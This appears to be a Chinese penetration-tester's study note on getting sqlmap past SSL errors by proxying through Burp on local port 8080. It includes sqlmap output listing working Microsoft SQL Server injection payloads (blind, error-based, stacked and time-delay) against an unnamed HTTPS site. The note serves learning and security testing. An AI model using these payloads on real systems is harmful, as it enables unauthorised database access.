前不久与师傅的交流中师傅考了我一个问题,在用sqlmap跑的时候遇到ssl爆红该怎么办,因为在实战中并没有遇到过这种情况,所以今天补一下知识。
首先查询了ssl的概念,通俗来说,如果一个网站没有安装ssl证书,那么他的传输方式就是http传输,安装ssl证书过后就是https传输,https传输加密性比http好得多,这是其一;当你访问一些没有安装ssl的网站时,会出现如下界面:
没有安装ssl会导致信息很容易被窃取,这是其二;拥有ssl证书的网站会在谷歌和百度拥有更高的权重,通俗来说就是当你搜索一个相同的内容时,拥有ssl的网站肯定会比没有ssl的网站在搜索上靠前。
了解概念之后回到师傅抛给我的问题,为什么网站会报ssl连接错误呢?
就是因为ssl证书的原因,而且sqlmap它是不能自动伪造ssl证书的,所以这时候就有两种方法去解决ssl爆红的操作:
通过本地代理端口进行访问
通过搭建web,访问代理文件进行注入
师傅给我说的是第一种方法是最常用的,用bp代理本地8080端口
1
| --proxy http://127.0.0.1:8080
|
8080端口是被用于WWW代理服务的,apache安装后默认的端口就是8080端口。
因为目标站是https,加入--force-ssl
参数
然而还是报错ssl,这时候就只能代理本地的8080端口
然后就能够顺利跑出来,结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=**3395** AND **1967**=**1967**
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: id=**3395** AND **8669** IN (SELECT (CHAR(**113**)+CHAR(**118**)+CHAR(**106**)+CHAR(**98**)+CHAR(**113**)+(SELECT (CASE WHEN (**8669**=**8669**) THEN CHAR(**49**) ELSE CHAR(**48**) END))+CHAR(**113**)+CHAR(**112**)+CHAR(**107**)+CHAR(**118**)+CHAR(**113**)))
Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(**113**)+CHAR(**118**)+CHAR(**106**)+CHAR(**98**)+CHAR(**113**)+(SELECT (CASE WHEN (**6806**=**6806**) THEN CHAR(**49**) ELSE CHAR(**48**) END))+CHAR(**113**)+CHAR(**112**)+CHAR(**107**)+CHAR(**118**)+CHAR(**113**))
Vector: (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=**3395**;WAITFOR DELAY '0:0:5'
Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: id=**3395** WAITFOR DELAY '0:0:5'
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
|
另外一种方法就是用一个php文件直接用sqlmap跑php就ok
因为第二种方法比较麻烦,还要写代码,这里就先不搞了QAQ
查阅google后看到,第一种方法不一定用bp代理,通过charles本地映射后访问也可以